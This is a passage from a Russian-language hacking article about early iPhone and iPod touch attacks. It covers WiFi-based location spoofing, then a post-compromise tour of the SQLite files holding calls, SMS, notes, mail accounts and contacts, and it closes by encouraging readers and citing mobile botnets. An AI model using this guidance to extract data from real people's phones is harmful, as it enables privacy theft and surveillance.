сигнала в WiFi-сетях. Координаты WiFi-точек доступа тягаются из базы http://www.skyhookwireless.com
(собственно, почему им не пришло в голову спуфить ответы этой самой базы).
Поскольку в iPod touch никакого GSM-позиционирования быть не может, все сведения
он тянет от WiFi-точек доступа. Спуфинг-атака заключается в том, что, имитируя
такую же точку доступа, но расположенную ближе (уровень сигнала выше) или дальше
(уровень сигнала ниже), можно ввести алгоритм в заблуждение. Никакой проверки
подлинности, кроме МАК-адреса, там не предусмотрено, так что это проще простого.
Что же касается iPhone 2g, то здесь такая атака тоже имеет место, но с оговоркой
на то, что сначала ареал пребывания устанавливается на основе GSM-сигнала. Если
попытаться убедить устройство, что здесь ловится точка доступа, далекая от этого
ареала, данные от такой точки в расчет браться не будут. Таким образом, обмануть
локатор iPhone можно только в пределах района, который позиционирует GSM.
Взгляд изнутри. Чем поживиться?
Предположим, все уже позади: подошел дефолтный пароль или эксплоит открыл нам
шелл. В общем, доступ к файловой системе получен, что дальше? Дальше – лови
момент. Большинство данных на iPhone хранится внутри базы данных sqlite. Каждое
приложение (например, СМС-менеджер, почтовик, браузер и прочие) имеют свой
файлик с базой, куда кладут все данные. Далее опишу структуру наиболее
интересных баз:
/private/var/mobile/Library/CallHistory/call_history.db – записи о всех
звонках. Формат таблицы call: ROWID (порядковый номер)|address (телефонный
номер)|date (время звонка в абсолютном формате)|duration (длительность звонка в
секундах)|flags (еще не понял зачем)|id (ссылка на идентификатор контакта?). В
таблице _SqliteDatabaseProperties находятся настройки и общие сведения,
например, общее время входящих/исходящих (timer_outgoing/timer_incoming).
/private/var/mobile/Library/Notes/notes.db – заметки. Формат таблицы
note_bodies: note_id (порядковый номер заметки)|data (текст заметки в html
формате, кодировка UTF-8). Формат таблицы Note: ROWID (порядковый номер заметки)|creation_date
(абсолютная дата создания)|title (заголовок заметки)|summary (первые символы
текста заметки)|contains_cjk (зарезервировано?).
/private/var/mobile/Library/SMS/sms.db – СМС :). Формат таблицы message:
ROWID|address (номер телефон отправителя)|date|text (текст сообщения в UTF-8)|flags|replace|svc_center|group_id
(идентификатор группы, в случае отправки нескольким адресатам в группе будут
несколько номеров)|association_id|height|UIFlags|version. Формат таблицы
msg_group: ROWID|type (резерв, всегда 0)|newest_message (ID последнего
сообщения)|unread_count (кол-во непрочитанных). Эта таблица связывает группы
адресатов и сообщения. Формат таблицы group_member: ROWID|group_id|address
(номер телефона адресата). Таблица содержит информацию о группах адресатов СМС.
Если ты отправляешь СМС одному человеку – создается новая группа, с одним
адресатом, все сообщения от него к тебе и твои к нему записываются с
идентификатором этой группы. Если отправляешь нескольким – создается группа с
несколькими адресатами, тогда один номер является участником нескольких групп в
таблице.
/private/var/mobile/Library/WebKit/Databases/Databases.db – здесь хранится
информация о всех базах данных, которые использует движок WebKit. Это почтовые
аккаунты. Формат таблицы Databases: guid|origin (источник, в случае с почтой
gmail – это http_mail.google.com_0)|name (имя аккаунта GmailMobileWeb)|displayName|estimatedSize
(размер базы в байтах)|path (имя базы данных). На основе данных из этой базы
лезем в базы каждого аккаунта. Они расположены в директории /private/var/mobile/Library/WebKit/Databases/<origin
из Databases.Databases>/<path из Databases.Databases>. Рассмотрение
внутренностей этих баз оставлю на самостоятельное изучение или для следующих
статей.
/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb и /private/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb
– базы данных адресной книги (списка контактов). Здесь самая интересная таблица
ABPerson. Формат: ROWID|First (Имя)|Last (Фамилия)|Middle (Отчество)|FirstPhonetic|MiddlePhonetic|LastPhonetic
(не используются)|Organization|Department|Note|Kind|Birthday| JobTitle|Nickname|Prefix|Suffix|FirstSort|LastSort|CreationDate| ModificationDate|CompositeNameFallback|ExternalIdentifier|StoreID| DisplayName|FirstSortSection|LastSortSection| FirstSortLanguageIndex|LastSortLanguageIndex.
Разумеется, большинство этих полей пустые. Вторая таблица используется для
хранения аватарок абонентов. Думаю, разберешься с ней без проблем.
Заключение
Это не конец - это только начало. Пройдет немного времени и атак станет
существенно больше. Стимул изобретать их весьма велик: мобильный ботнет на базе
мощных unix-гаджетов с двумя интерфейсами выхода в интернет! Количество атак на
мобильные платформы растет пропорционально их распространенности и
производительности. Apple iPhone на сегодня по этим показателям явно лидер. Так
что, дерзай, надеюсь, почву для размышления я предоставил.